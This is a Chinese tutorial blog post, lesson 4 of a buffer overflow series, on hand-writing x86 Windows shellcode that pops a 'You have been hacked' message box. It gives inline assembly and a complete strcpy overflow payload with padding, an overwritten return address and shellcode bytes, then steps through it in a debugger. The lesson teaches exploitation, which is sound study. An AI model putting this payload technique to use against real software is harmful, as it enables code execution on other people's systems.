缓冲区溢出分析第04课:ShellCode的编写
前言
ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理。那么下面我们就来编写ShellCode。为了简单起见,这里我只想让程序显示一个对话框:
图1
获取相关函数的地址
那么我们下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以说首先需要获取该函数的地址,这可以通过编写一个小程序来获取:
- #include <windows.h>
- #include <stdio.h>
- typedef void (*MYPROC)(LPTSTR);
- int main()
- {
- HINSTANCE LibHandle;
- MYPROC ProcAdd;
- LibHandle = LoadLibrary("user32");
- //获取user32.dll的地址
- printf("user32 = 0x%x\n", LibHandle);
- //获取MessageBoxA的地址
- ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
- printf("MessageBoxA = 0x%x\n", ProcAdd);
- getchar();
- return 0;
- }
其显示结果如下:
由结果可知,MessageBox在我的系统中的地址为0x77d507ea,当然这个地址在不同的系统中,应该是不同的,所以大家在编写ShellCode之前,一定要先查找所要调用的API函数的地址。
由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了:
图3
编写汇编代码
接下来需要编写欲执行的代码,一般有两种方式——C语言编写以及汇编编写,不论采用哪种方式,最后都需要转换成机器码。这里我比较倾向于使用汇编进行编写。请大家放心的是,虽然说是汇编,但其实是非常简单的汇编,请大家不要有畏惧的心理。
那么在进行汇编代码的编写之前,我想首先给大家讲一下如何利用汇编语言实现函数的调用。
可能大家也都知道,在汇编语言中,想调用某个函数,是需要使用CALL语句的,而在CALL语句的后面,需要跟上该函数在系统中的地址。因为我刚才已经获取到了MessageBox()与ExitProcess()函数的地址,所以我们在这里就可以通过CALL相应的地址的方法来调用相应的函数。但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的。
如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。比如现在有一个Function(a,b,c)函数,我们想调用它,那么它的汇编代码就应该编写为:
push c
push b
push a
mov eax,AddressOfFunction
call eax
根据这个思想,我们就可以在VC++中利用内联汇编来调用ExitProcess()这个函数:
xor ebx, ebx
push ebx
mov eax, 0x7c81cafa
call eax
接下来编写MessageBox()这个函数调用。与上一个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,这个该如何解决呢?我们不妨先把所需要用到的字符串转换为ASCII码值:
Warning :
\x57\x61\x72\x6e\x69\x6e\x67
You have beenhacked!(by J.Y.) :
\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6e\x20\x68\x61\x63\x6b\x65\x64\x21\x28\x62\x79\x20\x4a\x2e\x59\x2e\x29
然后将每四个字符为一组,进行分组,将不满四个字符的,以空格(\x20)进行填充:
Warning :
\x57\x61\x72\x6e
\x69\x6e\x67\x20
You have beenhacked!(by J.Y.) :
\x59\x6f\x75\x20
\x68\x61\x76\x65
\x20\x62\x65\x65
\x6e\x20\x68\x61
\x63\x6b\x65\x64
\x21\x28\x62\x79
\x20\x4a\x2e\x59
\x2e\x29\x20\x20
这里之所以需要以\x20进行填充,而不是\x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到\x00就会认为我们的字符串结束了,就不会再拷贝\x00后的内容了。所以这个是需要特别留意的。
由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即“Warning”的进栈顺序为:
push 0x20676e69
push 0x6e726157 // push "Warning"
“You have beenhacked!(by J.Y.)”的进栈顺序为:
push 0x2020292e
push 0x592e4a20
push 0x79622821
push 0x64656b63
push 0x6168206e
push 0x65656220
push 0x65766168
push 0x20756f59 // push "You have beenhacked!(by J.Y.)"
那么下面问题来了,我们如何获取这两个字符串的地址,从而让其成为MessageBox()的参数呢?其实这个问题也不难,我们可以利用esp指针,因为它始终指向的是栈顶的位置,我们将字符压栈后,栈顶位置就是我们所压入的字符的位置,于是在每次字符压栈后,可以加入如下指令:
mov eax,esp 或 mov ecx,esp
这样就可以了,最后再进行函数的调用:
push ebx
push eax
push ecx
push ebx
mov eax,0x77d507ea
call eax // call MessageBox
综合以上,完整的代码如下:
- int main()
- {
- _asm{
- sub esp,0x50
- xor ebx,ebx
- push ebx // cut string
- push 0x20676e69
- push 0x6e726157 // push "Warning"
- mov eax,esp
- push ebx // cut string
- push 0x2020292e
- push 0x592e4a20
- push 0x79622821
- push 0x64656b63
- push 0x6168206e
- push 0x65656220
- push 0x65766168
- push 0x20756f59 // push "You have been hacked!(by J.Y.)"
- mov ecx,esp
- push ebx
- push eax
- push ecx
- push ebx
- mov eax,0x77d507ea
- call eax // call MessageBox
- push ebx
- mov eax, 0x7c81cafa
- call eax // call ExitProcess
- }
- return 0;
- }
将汇编代码改写为ShellCode
然后在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击“Disassembly”,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):
将这些机器码提取出来,就是我们想让计算机执行的 ShellCode。然后我们再综合一下上节课所讲的内容,从而编写出完整的ShellCode:
- char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" // name[0]~name[7]
- "\x41\x41\x41\x41" // EBP
- "\x79\x5b\xe3\x77" // Return Address
- "\x83\xEC\x50" // sub esp,0x50
- "\x33\xDB" // xor ebx,ebx
- "\x53" // push ebx
- "\x68\x69\x6E\x67\x20"
- "\x68\x57\x61\x72\x6E" // push "Warning"
- "\x8B\xC4" // mov eax,esp
- "\x53" // push ebx
- "\x68\x2E\x29\x20\x20"
- "\x68\x20\x4A\x2E\x59"
- "\x68\x21\x28\x62\x79"
- "\x68\x63\x6B\x65\x64"
- "\x68\x6E\x20\x68\x61"
- "\x68\x20\x62\x65\x65"
- "\x68\x68\x61\x76\x65"
- "\x68\x59\x6F\x75\x20" // push "You have been hacked!(by J.Y.)"
- "\x8B\xCC" // mov ecx,esp
- "\x53" // push ebx
- "\x50" // push eax
- "\x51" // push ecx
- "\x53" // push ebx
- "\xB8\xea\x07\xd5\x77"
- "\xFF\xD0" // call MessageBox
- "\x53"
- "\xB8\xFA\xCA\x81\x7C"
- "\xFF\xD0"; // call MessageBox
由于我们这里调用了MessageBox,因此需要在源程序中加入“LoadLibrary(“user32.dll”);”这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入“windows.h”这个头文件。然后运行程序,可以看到我们已经成功利用了漏洞:
利用OD查看反汇编程序
最后可以再观察一下OD的数据以及堆栈区域的情况:
图6
这里大家可以自行对照。然后我们执行到main函数的返回位置,再按下F8(单步执行),经过jmp esp的跳转后,就来到了我们所编写的 ShellCode的位置:
图7
这个时候我们再通过OD来观察一下MessageBox()这个函数的参数入栈情况。先执行到0x0012FF98的位置:
图8
可以看到“Warning”字符串已经入栈,此时esp指向的就是栈帧,也就是“Warning”字符串的位置,而此时将esp的值赋给eax,那么也就可以理解为eax中保存的就是“Warning”字符串。
第二个字符串入栈的原理和这个是一样的,在这里不再赘述。然后就是调用MessageBox()函数:
图9
可以看到相应的参数已经入栈,那么对话框得以弹出,说明我们的漏洞利用是成功的。
小结
事实上,编写一个完整的ShellCode是没那么简单的,是需要考虑很多的问题的。比如我们这次所编写的这个简单的 ShellCode,可以完善的地方还有很多。而关于ShellCode的完善,我会在下次课程中详细讨论。
缓冲区溢出分析第04课:ShellCode的编写的更多相关文章
- 缓冲区溢出分析第05课:编写通用的ShellCode
前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...
- 缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析
漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀&q ...
- 缓冲区溢出分析第10课:Winamp缓冲区溢出研究
前言 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代后期问世.与现在音乐播放软件行业百家争鸣的情况不同,当时可以说Winamp就是听音乐的唯一选择了,相信那个时代的电脑玩家是深有体会的. ...
- 缓冲区溢出分析第09课:MS06-040漏洞研究——深入挖掘
前言 经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用.在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否 ...
- 缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试
前言 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用. 编写漏洞利用程序的框架 这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32 ...
- 缓冲区溢出分析第07课:MS06-040漏洞研究——静态分析
前言 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情况就 ...
- W32Dasm缓冲区溢出分析【转载】
课程简介 在上次课程中与大家一起学习了编写通用的Shellcode,也提到会用一个实例来展示Shellcode的溢出. 那么本次课程中为大家准备了W32Dasm这款软件,并且是存在漏洞的版本.利用它的 ...
- 缓冲区溢出基础实践(一)——shellcode 与 ret2libc
最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...
- CVE-2011-0104 Microsoft Office Excel缓冲区溢出漏洞 分析
漏洞简述 Microsoft Excel是Microsoft Office组件之一,是流行的电子表格处理软件. Microsoft Excel中存在缓冲区溢出漏洞,远程攻击者可利用此 ...
随机推荐
- AQS源码解读(ReentrankLock的公平锁和非公平锁)
构建Debug代码: 1 package com.hl.interview.lock; 2 3 import java.util.Scanner; 4 import java.util.concurr ...
- 微信小程序日期时间选择器(精确到秒)
<picker mode="multiSelector" value="{{dateTime1}}" bindchange="changeDat ...
- HDOJ-1260(动态规划水题)
Tickets HDOJ-1260 #include<bits/stdc++.h> using namespace std; const int maxn=2003; int n; int ...
- pytorch(08)数据模型的读取(2)
import numpy as np import torch import os import random from PIL import Image from torch.utils.data ...
- Python接口测试-保持登录状态
#coding:utf-8import requestsimport json#登录url ="https://passport.cnblogs.com/user/signin"h ...
- [BJWC2018] Kakuro
一.题目 点此看题 二.解法 我一开始一直想不出来,直接刚这个题实在是太复杂了,因为一开始就是不合法的. 下次遇到复杂的题一定要想 调整法 ,我再不往这个方向想我吔屎 好了言归正传,我们先找一组可行的 ...
- CentOS 8.3安装MySQL 8.0.21后无法登录管理数据库
安装mysql后登录不了,提示: ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES) ...
- 【数据结构与算法】——链表(Linked List)
链表(Linked List)介绍 链表是有序的列表,但是它在内存中是存储如下: 链表是以节点的方式来存储的,是链式存储. 每个节点包含data域,next域:指向下一个节点. 如图:链表的各个节点不 ...
- AES加密--适用于RC2、RC4和Blowfish
package test; import java.security.GeneralSecurityException; import java.security.Key; import javax. ...
- 简单ping确定网络故障
1.ping localhost (127.0.0.1) 目的:确定TCP/IP有无问题 2.ping本机地址 用来检测网卡驱动有无问题 如何获取本机地址? win+r cmd 输入ipconfig/ ...